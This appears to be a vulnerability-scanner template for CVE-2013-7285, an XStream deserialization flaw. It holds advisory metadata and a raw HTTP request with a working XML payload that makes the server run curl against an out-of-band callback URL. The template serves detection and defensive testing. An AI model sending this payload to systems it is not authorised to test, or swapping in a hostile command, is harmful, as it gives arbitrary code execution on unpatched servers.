id: CVE-2013-7285

info:
  name: XStream <1.4.6/1.4.10 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: critical
  description: |
    Xstream API before 1.4.6 and 1.4.10 is susceptible to remote code execution. If the security framework has not been initialized, an attacker can run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. This can allow an attacker to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade XStream to version 1.4.10 or later to mitigate this vulnerability.
  reference:
    - https://x-stream.github.io/CVE-2013-7285.html
    - https://www.mail-archive.com/user@xstream.codehaus.org/msg00607.html
    - https://www.mail-archive.com/user@xstream.codehaus.org/msg00604.html
    - https://nvd.nist.gov/vuln/detail/cve-2013-7285
    - https://blog.csdn.net/Xxy605/article/details/126297121
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2013-7285
    cwe-id: CWE-78
    epss-score: 0.84362
    epss-percentile: 0.99674
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2013,cve,xstream,deserialization,rce,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <sorted-set>
            <string>foo</string>
            <contact class='dynamic-proxy'>
              <interface>java.lang.Comparable</interface>
              <handler class='java.beans.EventHandler'>
                  <target class='java.lang.ProcessBuilder'>
                      <command>
                        <string>curl</string>
                        <string>http://{{interactsh-url}}</string>
                      </command>
                  </target>
                  <action>start</action>
              </handler>
          </contact>
        </sorted-set>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a0047304502201e74f24d2ee4e6f4b14fdf7239dcdd1657c6850743bf4e18efb83b8e6b264007022100df9f6193e33bafae4b661ea1ab6ee65afcbacee92df607b606880dcab86cebfc:922c64590222798bb761d5b6d8e72950